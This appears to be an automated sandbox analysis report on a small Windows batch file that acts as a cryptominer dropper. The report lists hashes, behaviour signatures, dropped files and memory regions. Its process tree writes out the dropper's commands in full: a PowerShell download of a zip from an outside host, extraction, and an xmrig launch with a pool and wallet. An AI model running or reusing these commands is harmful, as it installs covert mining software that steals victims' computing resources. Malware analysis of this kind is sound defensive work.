Analysis

  • max time kernel
    0s
  • max time network
    27s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/11/2023, 02:25

General

  • Target

    tesy - Copy (5).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:928
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4876
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
        PID:2112
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K start.cmd
        2⤵
          PID:3136
          • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
            xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
            3⤵
              PID:720

        Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          2f57fde6b33e89a63cf0dfdd6e60a351

          SHA1

          445bf1b07223a04f8a159581a3d37d630273010f

          SHA256

          3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

          SHA512

          42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          a5c074e56305e761d7cbc42993300e1c

          SHA1

          39b2e23ba5c56b4f332b3607df056d8df23555bf

          SHA256

          e75b17396d67c1520afbde5ecf8b0ccda65f7833c2e7e76e3fddbbb69235d953

          SHA512

          c63d298fc3ab096d9baff606642b4a9c98a707150192191f4a6c5feb81a907495b384760d11cecbff904c486328072548ac76884f14c032c0c1ae0ca640cb5e8

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5o0yfrnb.mzt.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\test1.zip

          Filesize

          3.2MB

          MD5

          95452958f42b1b93f0c887f59d84d19f

          SHA1

          c861dc457d57471ab42879f49cc8fe171e7c9b1c

          SHA256

          dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

          SHA512

          96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

          Filesize

          278B

          MD5

          080123b6eac4a332d3f2b11f6eb3aa54

          SHA1

          8f3d40eae881e3b871cff2aa85521d727ada2a64

          SHA256

          cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

          SHA512

          0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

          Filesize

          2.9MB

          MD5

          a16f356700852fb1d6977c31e1c67fd6

          SHA1

          1dce16f65a2dd84fad4a923846c2a5f8b3f4db6b

          SHA256

          5081d0d68099b56d5cd9f1c0e29d5662ec43a0089a0eae71950f2704442fe2b2

          SHA512

          7bdaeb10011d1e0937134e776cd2ac3986fcb2c5cbfd67c7d015020de8f5668949fff819d3dcdad261393c79f5dd68ef00c9c590d3eb2b1718eb7529c05110eb

        • memory/720-46-0x0000020473010000-0x0000020473030000-memory.dmp

          Filesize

          128KB

        • memory/2112-32-0x0000018743180000-0x0000018743192000-memory.dmp

          Filesize

          72KB

        • memory/2112-28-0x0000018743270000-0x0000018743280000-memory.dmp

          Filesize

          64KB

        • memory/2112-29-0x0000018743270000-0x0000018743280000-memory.dmp

          Filesize

          64KB

        • memory/2112-18-0x00007FFF66BB0000-0x00007FFF67671000-memory.dmp

          Filesize

          10.8MB

        • memory/2112-31-0x0000018743270000-0x0000018743280000-memory.dmp

          Filesize

          64KB

        • memory/2112-33-0x000001872B050000-0x000001872B05A000-memory.dmp

          Filesize

          40KB

        • memory/2112-42-0x00007FFF66BB0000-0x00007FFF67671000-memory.dmp

          Filesize

          10.8MB

        • memory/4876-16-0x00007FFF66DF0000-0x00007FFF678B1000-memory.dmp

          Filesize

          10.8MB

        • memory/4876-12-0x0000020B6BC10000-0x0000020B6BC20000-memory.dmp

          Filesize

          64KB

        • memory/4876-11-0x0000020B6BC10000-0x0000020B6BC20000-memory.dmp

          Filesize

          64KB

        • memory/4876-10-0x00007FFF66DF0000-0x00007FFF678B1000-memory.dmp

          Filesize

          10.8MB

        • memory/4876-9-0x0000020B6C540000-0x0000020B6C562000-memory.dmp

          Filesize

          136KB